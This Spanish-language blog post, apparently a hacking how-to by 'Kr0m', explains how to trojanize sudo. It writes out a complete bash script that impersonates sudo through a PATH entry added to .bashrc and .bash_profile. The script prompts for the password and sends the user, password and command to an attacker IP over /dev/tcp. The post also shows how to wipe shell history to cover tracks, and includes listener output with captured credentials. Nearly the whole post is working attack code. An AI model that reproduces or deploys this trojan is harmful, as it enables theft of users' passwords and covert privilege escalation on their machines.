Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Troyanizar sudo


La idea es generar un script llamado sudo que se hará pasar por el sudo original:

mkdir -p ~/.config/sudo
rm ~/.config/sudo/sudo 2>/dev/null

Generamos el script, para poder meter tabuladores mediante cat hay que emplear un pequeño truco:

TAB="$(printf '\t')"
cat <<EOF > ~/.config/sudo/sudo
#!/bin/bash

IP=192.168.20.114
PORT=8000
USER=\$(whoami)

/usr/bin/sudo -n true 2> /dev/null
# Si hace sudo directamente sin pass:
if [ \$? -eq 0 ]; then
${TAB}(echo "\$USER:\$@:sinpass" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}/usr/bin/sudo \$@
# Si necesita password:
else
${TAB}echo -n "[sudo] password for \$USER:"
${TAB}read -s pwd
${TAB}echo "\$pwd" | /usr/bin/sudo -S true 2>/dev/null
${TAB}if [ \$? -eq 1 ]; then
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:invalid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo -e "\nSorry, try again."
${TAB}${TAB}~/.config/sudo/sudo \$@
${TAB}else
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:valid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo "\$pwd" | /usr/bin/sudo -S \$@
${TAB}fi
fi
EOF

NOTA: El script dá por supuesto que bash fué compilado con soporte para realizar conexiones tcp

Asignamos permisos de ejecución al script y añadimos el directorio donde está el script al path:

chmod u+x ~/.config/sudo/sudo
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc

Borramos nuestras huellas:

history -c
rm .bash_history

Arrancamos un servidor web donde veremos la info enviada por nuestro script:

mkdir asd
cd asd
python -m SimpleHTTPServer

Cuando la víctima ejecute nuestro script creerá que está ejecutando el binario de sudo original y nosotros recibiremos:

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.20.114 - - [29/Aug/2018 14:30:10] code 400, message Bad request syntax ('kr0m:AAAA:/bin/ls:invalid')
192.168.20.114 - - [29/Aug/2018 14:30:10] "kr0m:AAAA:/bin/ls:invalid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:14] code 400, message Bad request syntax ('kr0m:XXXX:/bin/ls:valid')
192.168.20.114 - - [29/Aug/2018 14:30:14] "kr0m:XXXX:/bin/ls:valid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:18] code 400, message Bad request syntax ('kr0m:/bin/ls:sinpass')
192.168.20.114 - - [29/Aug/2018 14:30:18] "kr0m:/bin/ls:sinpass" 400 -

Autor: Kr0m -- 04/09/2018 20:09:34